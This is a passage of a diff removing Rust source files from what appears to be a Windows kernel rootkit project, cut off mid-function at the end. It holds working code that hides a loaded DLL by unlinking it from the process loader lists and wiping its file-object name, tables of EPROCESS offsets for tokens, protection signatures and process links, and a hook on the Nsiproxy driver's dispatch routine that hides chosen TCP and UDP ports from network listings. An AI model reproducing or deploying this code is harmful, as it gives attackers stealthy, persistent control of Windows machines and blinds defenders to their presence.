let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||
}
|
||||
|
||||
// Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||
}
|
||||
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
// Populates the `ModuleInfo` structure with name, address, and index
|
||||
modules.push(ModuleInfo {
|
||||
name,
|
||||
address: (*list_entry).DllBase as usize,
|
||||
index: count as u8,
|
||||
});
|
||||
|
||||
count += 1;
|
||||
|
||||
// Move to the next module in the list
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
attach_process.detach();
|
||||
|
||||
Ok(modules)
|
||||
}
|
||||
|
||||
/// Hides a module in a target process by removing its entries from the module list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - If the module is successfully hidden.
|
||||
/// * `Err(ShadowError)` - If an error occurs when trying to hide the module.
|
||||
pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result<NTSTATUS, ShadowError> {
|
||||
let target = Process::new(pid)?;
|
||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||
}
|
||||
|
||||
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
|
||||
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||
let mut address = core::ptr::null_mut();
|
||||
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||
}
|
||||
|
||||
// Check if the module name matches
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
if dll_name.to_lowercase() == module_name{
|
||||
// Removes the module from the load order list
|
||||
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
|
||||
Self::remove_link(&mut (*list_entry).HashLinks);
|
||||
address = (*list_entry).DllBase;
|
||||
break;
|
||||
}
|
||||
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
attach_process.detach();
|
||||
|
||||
if !address.is_null() {
|
||||
Self::hide_object(address as u64, target);
|
||||
}
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Removing the module name in the FILE_OBJECT structure.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_address` - The address of the module to hide.
|
||||
/// * `process` - The target process structure.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
|
||||
pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<(), NTSTATUS> {
|
||||
let vad_root = get_vad_root();
|
||||
let vad_table = process.e_process.cast::<u8>().offset(vad_root as isize) as *mut RTL_BALANCED_NODE;
|
||||
let current_node = vad_table;
|
||||
// Uses a stack to iteratively traverse the tree
|
||||
let mut stack = alloc::vec![vad_table];
|
||||
while let Some(current_node) = stack.pop() {
|
||||
if current_node.is_null() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Converts the current node to an MMVAD_SHORT
|
||||
let vad_short = current_node as *mut MMVAD_SHORT;
|
||||
|
||||
// Calculates start and end addresses
|
||||
let mut start_address = (*vad_short).StartingVpn as u64;
|
||||
let mut end_address = (*vad_short).EndingVpn as u64;
|
||||
|
||||
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
|
||||
start_address |= ((*vad_short).StartingVpnHigh as u64) << 32;
|
||||
end_address |= ((*vad_short).EndingVpnHigh as u64) << 32;
|
||||
|
||||
// Multiply the addresses by 0x1000 (page size) to get the real addresses
|
||||
let start_address = start_address * 0x1000;
|
||||
let end_address = end_address * 0x1000;
|
||||
|
||||
if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
|
||||
let long_node = vad_short as *mut MMVAD;
|
||||
|
||||
let subsection = (*long_node).SubSection;
|
||||
if subsection.is_null() || (*subsection).ControlArea.is_null() || (*(*subsection).ControlArea).FilePointer.Inner.Object.is_null() {
|
||||
return Err(STATUS_INVALID_ADDRESS);
|
||||
}
|
||||
|
||||
let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT;
|
||||
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
|
||||
break;
|
||||
}
|
||||
|
||||
// Stack the right node (if there is one)
|
||||
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
|
||||
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right);
|
||||
}
|
||||
|
||||
// Stack the left node (if there is one)
|
||||
if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
|
||||
stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes a link from the list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink.
|
||||
unsafe fn remove_link(list: &mut LIST_ENTRY) {
|
||||
let next = list.Flink;
|
||||
let previous = list.Blink;
|
||||
|
||||
(*next).Blink = previous;
|
||||
(*previous).Flink = next;
|
||||
|
||||
list.Flink = list;
|
||||
list.Blink = list;
|
||||
}
|
||||
}
|
||||
@@ -1,189 +0,0 @@
|
||||
use spin::Lazy;
|
||||
use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW};
|
||||
|
||||
/// Constant values for Windows build numbers.
|
||||
const WIN_1507: u32 = 10240;
|
||||
const WIN_1511: u32 = 10586;
|
||||
const WIN_1607: u32 = 14393;
|
||||
const WIN_1703: u32 = 15063;
|
||||
const WIN_1709: u32 = 16299;
|
||||
const WIN_1803: u32 = 17134;
|
||||
const WIN_1809: u32 = 17763;
|
||||
const WIN_1903: u32 = 18362;
|
||||
const WIN_1909: u32 = 18363;
|
||||
const WIN_2004: u32 = 19041;
|
||||
const WIN_20H2: u32 = 19042;
|
||||
const WIN_21H1: u32 = 19043;
|
||||
const WIN_21H2: u32 = 19044;
|
||||
const WIN_22H2: u32 = 19045;
|
||||
|
||||
/// Constant values for Windows build numbers (Not currently used)
|
||||
#[allow(dead_code)]
|
||||
const WIN_1121H2: u32 = 22000;
|
||||
#[allow(dead_code)]
|
||||
const WIN_1122H2: u32 = 22621;
|
||||
|
||||
/// Holds the Windows build number initialized at runtime.
|
||||
///
|
||||
/// This value is fetched using the `get_windows_build_number` function,
|
||||
/// which utilizes the `RtlGetVersion` API from the Windows kernel.
|
||||
static BUILD_NUMBER: Lazy<u32> = Lazy::new(|| get_windows_build_number());
|
||||
|
||||
/// Retrieves the process lock offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the process lock field in the `EPROCESS` structure
|
||||
/// for the current version of Windows.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the process lock field.
|
||||
#[inline]
|
||||
pub fn get_process_lock() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1507 => 0x608,
|
||||
WIN_1511 => 0x610,
|
||||
WIN_1607 => 0x620,
|
||||
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
|
||||
WIN_1903 | WIN_1909 => 0x658,
|
||||
_ => 0x7d8,
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the active process link offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the active process link in the `EPROCESS` structure,
|
||||
/// which points to the list of processes in the active process chain.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the active process link.
|
||||
#[inline]
|
||||
pub fn get_active_process_link_offset() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0,
|
||||
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8,
|
||||
_ => 0x448
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the VAD root offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the VAD (Virtual Address Descriptor) root
|
||||
/// in the `EPROCESS` structure for different Windows versions.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the VAD root field.
|
||||
#[inline]
|
||||
pub fn get_vad_root() -> u32 {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1507 => 0x608,
|
||||
WIN_1511 => 0x610,
|
||||
WIN_1607 => 0x620,
|
||||
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628,
|
||||
WIN_1903 | WIN_1909 => 0x658,
|
||||
_ => 0x7d8,
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the token offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the token field in the `EPROCESS` structure,
|
||||
/// which points to the access token that represents the security context of a process.
|
||||
/// The token contains privileges, group memberships, and other security-related information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the token field in the `EPROCESS` structure.
|
||||
#[inline]
|
||||
pub fn get_token_offset() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1903 | WIN_1909 => 0x360,
|
||||
WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709
|
||||
| WIN_1803 | WIN_1809 => 0x358,
|
||||
_ => 0x4b8,
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the protection signature offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the protection signature field in the `EPROCESS` structure.
|
||||
/// This field defines the protection type and the signer of the protection for the process,
|
||||
/// allowing certain processes to be protected from termination or modification.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure.
|
||||
#[inline]
|
||||
pub fn get_signature_offset() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1903 | WIN_1909 => 0x6f8,
|
||||
WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8,
|
||||
WIN_1607 => 0x6c0,
|
||||
WIN_1511 => 0x6b0,
|
||||
WIN_1507 => 0x6a8,
|
||||
_ => 0x878
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the thread list entry offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the thread list entry in the `EPROCESS` structure.
|
||||
/// The thread list entry links all the threads belonging to a process, allowing the system
|
||||
/// to traverse the list of threads for each process.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
|
||||
#[inline]
|
||||
pub fn get_thread_lock_offset() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1507 | WIN_1511 => 0x690,
|
||||
WIN_1607 => 0x698,
|
||||
WIN_1703 => 0x6a0,
|
||||
WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8,
|
||||
WIN_1903 | WIN_1909 => 0x6b8,
|
||||
WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8,
|
||||
WIN_22H2 => 0x500,
|
||||
_ => 0x538
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the thread lock offset based on the current Windows build number.
|
||||
///
|
||||
/// This function returns the offset for the thread lock field in the `EPROCESS` structure.
|
||||
/// The thread lock is used to synchronize access to the list of threads within a process,
|
||||
/// ensuring thread-safe operations when managing process threads.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
|
||||
#[inline]
|
||||
pub fn get_thread_list_entry_offset() -> isize {
|
||||
match *BUILD_NUMBER {
|
||||
WIN_1507 => 0x480,
|
||||
WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809
|
||||
| WIN_1903 | WIN_1909 => 0x488,
|
||||
WIN_22H2 => 0x4e8,
|
||||
_ => 0x5e0
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the Windows build number using the `RtlGetVersion` API.
|
||||
///
|
||||
/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version,
|
||||
/// including the build number. It is used to determine which Windows version the code is running on.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The Windows build number or `0` if the call to `RtlGetVersion` fails.
|
||||
pub fn get_windows_build_number() -> u32 {
|
||||
unsafe {
|
||||
let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed();
|
||||
if RtlGetVersion(&mut os_info) == 0 {
|
||||
return os_info.dwBuildNumber;
|
||||
}
|
||||
}
|
||||
|
||||
0
|
||||
}
|
||||
@@ -1,527 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
log::{error, warn},
|
||||
spin::{Mutex, lazy::Lazy},
|
||||
wdk_sys::{
|
||||
*,
|
||||
_MODE::KernelMode,
|
||||
ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead},
|
||||
},
|
||||
core::{
|
||||
ptr::{null_mut, copy},
|
||||
sync::atomic::{AtomicPtr, Ordering, AtomicBool},
|
||||
ffi::c_void, mem::size_of, slice::from_raw_parts_mut,
|
||||
},
|
||||
};
|
||||
|
||||
use {
|
||||
common::{
|
||||
structs::TargetPort,
|
||||
enums::{PortType, Protocol},
|
||||
},
|
||||
crate::{
|
||||
error::ShadowError,
|
||||
utils::{
|
||||
pool::PoolMemory, uni::str_to_unicode,
|
||||
valid_kernel_memory, valid_user_memory,
|
||||
},
|
||||
data::{
|
||||
COMUNICATION_TYPE,
|
||||
ObReferenceObjectByName, IoDriverObjectType,
|
||||
NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY,
|
||||
NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
const MAX_PORT: usize = 100;
|
||||
|
||||
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
|
||||
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
|
||||
|
||||
/// Indicates whether the callback has been activated.
|
||||
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
/// List of protected ports, synchronized with a mutex.
|
||||
///
|
||||
/// This static variable holds the list of protected network ports, using a `Mutex` to ensure
|
||||
/// thread-safe access. It is initialized with a capacity of `MAX_PORT`.
|
||||
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
|
||||
|
||||
/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information.
|
||||
pub struct Port;
|
||||
|
||||
impl Port {
|
||||
/// Control code for the NSI communication.
|
||||
const NIS_CONTROL_CODE: u32 = 1179675;
|
||||
|
||||
/// Network driver name.
|
||||
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
|
||||
|
||||
/// Installs a hook into the NSI proxy driver to intercept network table operations.
|
||||
///
|
||||
/// This function installs a hook into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL`
|
||||
/// dispatch function with a custom hook (`hook_nsi`). It stores the original function in a static
|
||||
/// atomic pointer for later restoration.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - If the hook is installed successfully.
|
||||
/// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found.
|
||||
pub unsafe fn install_hook() -> Result<NTSTATUS, ShadowError> {
|
||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||
let status = ObReferenceObjectByName(
|
||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
null_mut(),
|
||||
0,
|
||||
*IoDriverObjectType,
|
||||
KernelMode as i8,
|
||||
null_mut(),
|
||||
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void
|
||||
);
|
||||
|
||||
// Check if the driver object was referenced successfully.
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
|
||||
}
|
||||
|
||||
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
|
||||
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||
if let Some(original_function) = major_function.take() {
|
||||
// Store the original dispatch function.
|
||||
let original_function_ptr = original_function as *mut ();
|
||||
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
|
||||
|
||||
// Replace the dispatch function with the hook.
|
||||
*major_function = Some(Self::hook_nsi);
|
||||
HOOK_INSTALLED.store(true, Ordering::SeqCst);
|
||||
} else {
|
||||
ObfDereferenceObject(driver_object as _);
|
||||
return Err(ShadowError::HookFailure);
|
||||
}
|
||||
|
||||
// Dereference the driver object after setting up the hook.
|
||||
ObfDereferenceObject(driver_object as _);
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Uninstalls the NSI hook, restoring the original dispatch function.
|
||||
///
|
||||
/// This function uninstalls the previously installed NSI hook, restoring the original dispatch
|
||||
/// function that was replaced.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled.
|
||||
/// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed.
|
||||
pub unsafe fn uninstall_hook() -> Result<NTSTATUS, ShadowError> {
|
||||
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||
let status = ObReferenceObjectByName(
|
||||
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
null_mut(),
|
||||
0,
|
||||
*IoDriverObjectType,
|
||||
KernelMode as i8,
|
||||
null_mut(),
|
||||
&mut driver_object as *mut _ as *mut *mut c_void,
|
||||
);
|
||||
|
||||
// Handle error if the driver object can't be referenced.
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
|
||||
}
|
||||
|
||||
// If the hook is installed, restore the original dispatch function.
|
||||
if HOOK_INSTALLED.load(Ordering::SeqCst) {
|
||||
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||
|
||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||
if !original_function_ptr.is_null() {
|
||||
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
||||
*major_function = original_function;
|
||||
|
||||
HOOK_INSTALLED.store(false, Ordering::SeqCst);
|
||||
} else {
|
||||
ObfDereferenceObject(driver_object as _);
|
||||
return Err(ShadowError::HookFailure);
|
||||
}
|
||||
} else {
|
||||
ObfDereferenceObject(driver_object as _);
|
||||
return Err(ShadowError::HookFailure);
|
||||
}
|
||||
|
||||
// Dereference the driver object after removing the hook.
|
||||
ObfDereferenceObject(driver_object as _);
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
|
||||
///
|
||||
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
|
||||
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
|
||||
/// to inspect and potentially modify network entries.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `device_object` - Pointer to the device object associated with the request.
|
||||
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
|
||||
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||
|
||||
// If the control code matches, we replace the completion routine with a custom one.
|
||||
if control_code == Self::NIS_CONTROL_CODE {
|
||||
let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, u32::from_be_bytes(*b"giud"));
|
||||
if let Some(addr) = context {
|
||||
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||
(*address).0 = (*stack).CompletionRoutine;
|
||||
(*address).1 = (*stack).Context;
|
||||
|
||||
(*stack).Context = address as *mut c_void;
|
||||
(*stack).CompletionRoutine = Some(Self::irp_complete);
|
||||
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
|
||||
|
||||
// Prevent memory deallocation.
|
||||
core::mem::forget(addr);
|
||||
}
|
||||
}
|
||||
|
||||
// Call the original dispatch function.
|
||||
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
||||
|
||||
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
|
||||
}
|
||||
|
||||
/// Completion routine that modifies network table entries after an NSI operation.
|
||||
///
|
||||
/// This function is called when the IRP operation completes, and it processes the network
|
||||
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
|
||||
/// routine, passing the results of the modified entries back to the caller.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `device_object` - Pointer to the device object associated with the IRP.
|
||||
/// * `irp` - Pointer to the IRP being completed.
|
||||
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
|
||||
unsafe extern "C" fn irp_complete(
|
||||
device_object: *mut DEVICE_OBJECT,
|
||||
irp: *mut IRP,
|
||||
context: *mut c_void
|
||||
) -> NTSTATUS {
|
||||
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||
|
||||
// Validate the status of the IRP.
|
||||
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
|
||||
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
|
||||
let mut status_success = true;
|
||||
|
||||
// Ensure that the NSI parameter is valid and the context can be accessed.
|
||||
if !valid_user_memory(nsi_param as u64) && !PortUtils::validate_context(nsi_param as _) {
|
||||
status_success = false;
|
||||
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
|
||||
status_success = false;
|
||||
}
|
||||
|
||||
// If the entries are valid, process them.
|
||||
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
|
||||
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
|
||||
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
|
||||
|
||||
// Loop through all entries in the NSI parameter.
|
||||
for i in 0..(*nsi_param).Count {
|
||||
match (*nsi_param).Type_ {
|
||||
COMUNICATION_TYPE::TCP => {
|
||||
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|
||||
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) {
|
||||
|
||||
// Convert the port numbers from big-endian to the host's native format.
|
||||
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
|
||||
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
|
||||
|
||||
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
|
||||
PortUtils::process_entry_copy(
|
||||
tcp_entries,
|
||||
(*nsi_param).Count,
|
||||
i,
|
||||
local_port,
|
||||
Some(remote_port),
|
||||
Protocol::TCP,
|
||||
(*nsi_param).StatusEntries,
|
||||
(*nsi_param).ProcessEntries,
|
||||
nsi_param,
|
||||
);
|
||||
}
|
||||
},
|
||||
COMUNICATION_TYPE::UDP => {
|
||||
// Check if the UDP local port is a valid user-mode memory address.
|
||||
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
|
||||
|
||||
// Convert the local port number from big-endian to the host's native format.
|
||||
let local_port = u16::from_be((*udp_entries.add(i)).Port);
|
||||
|
||||
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
|
||||
PortUtils::process_entry_copy(
|
||||
udp_entries,
|
||||
(*nsi_param).Count,
|
||||
i,
|
||||
local_port,
|
||||
None,
|
||||
Protocol::UDP,
|
||||
(*nsi_param).StatusEntries,
|
||||
(*nsi_param).ProcessEntries,
|
||||
nsi_param,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Call the original completion routine if one exists.
|
||||
if let Some(original_routine) = (*context_addr).0 {
|
||||
let mut original_context = null_mut();
|
||||
|
||||
if !(*context_addr).1.is_null() {
|
||||
original_context = (*context_addr).1;
|
||||
}
|
||||
|
||||
ExFreePool(context as *mut _);
|
||||
return original_routine(device_object, irp, original_context);
|
||||
}
|
||||
|
||||
ExFreePool(context as *mut _);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
|
||||
pub struct PortUtils;
|
||||
|
||||
impl PortUtils {
|
||||
/// Validates a memory address to ensure it can be safely accessed from kernel mode.
|
||||
///
|
||||
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
|
||||
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `address` - The memory address to validate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Return `true` if the address is valid and accessible or `false` if an exception occurs while probing the address.
|
||||
unsafe fn validate_context(address: *mut c_void) -> bool {
|
||||
let result = microseh::try_seh(|| {
|
||||
ProbeForRead(address, size_of::<NSI_PARAM>() as u64, size_of::<NSI_PARAM>() as u32);
|
||||
});
|
||||
|
||||
match result {
|
||||
Ok(_) => true,
|
||||
Err(err) => {
|
||||
error!("Exception when trying to read the address: {:?}", err.code());
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
|
||||
/// and process entries if necessary.
|
||||
///
|
||||
/// This function is used to modify NSI (Network Store Interface) table entries during a network
|
||||
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
|
||||
/// "hiding" specific network ports.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
|
||||
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
|
||||
/// * `i` - The index of the current entry being processed.
|
||||
/// * `local_port` - The local port number associated with the current entry.
|
||||
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
|
||||
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
|
||||
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
|
||||
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
|
||||
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
|
||||
unsafe fn process_entry_copy<T: Sized>(
|
||||
entries: *mut T,
|
||||
count: usize,
|
||||
i: usize,
|
||||
local_port: u16,
|
||||
remote_port: Option<u16>,
|
||||
protocol: Protocol,
|
||||
status_entries: *mut NSI_STATUS_ENTRY,
|
||||
process_entries: *mut NSI_PROCESS_ENTRY,
|
||||
nsi_param: *mut NSI_PARAM
|
||||
) {
|
||||
let port_number = match (local_port, remote_port) {
|
||||
(0, Some(remote)) if remote != 0 => remote, // Use remote port if local is zero.
|
||||
(local, _) if local != 0 => local, // Use local port if it's non-zero.
|
||||
_ => {
|
||||
warn!("Both doors are zero, there is no way to process the entrance.");
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let port_type = if remote_port.unwrap_or(0) != 0 {
|
||||
PortType::REMOTE
|
||||
} else {
|
||||
PortType::LOCAL
|
||||
};
|
||||
|
||||
let info = TargetPort {
|
||||
protocol,
|
||||
port_type,
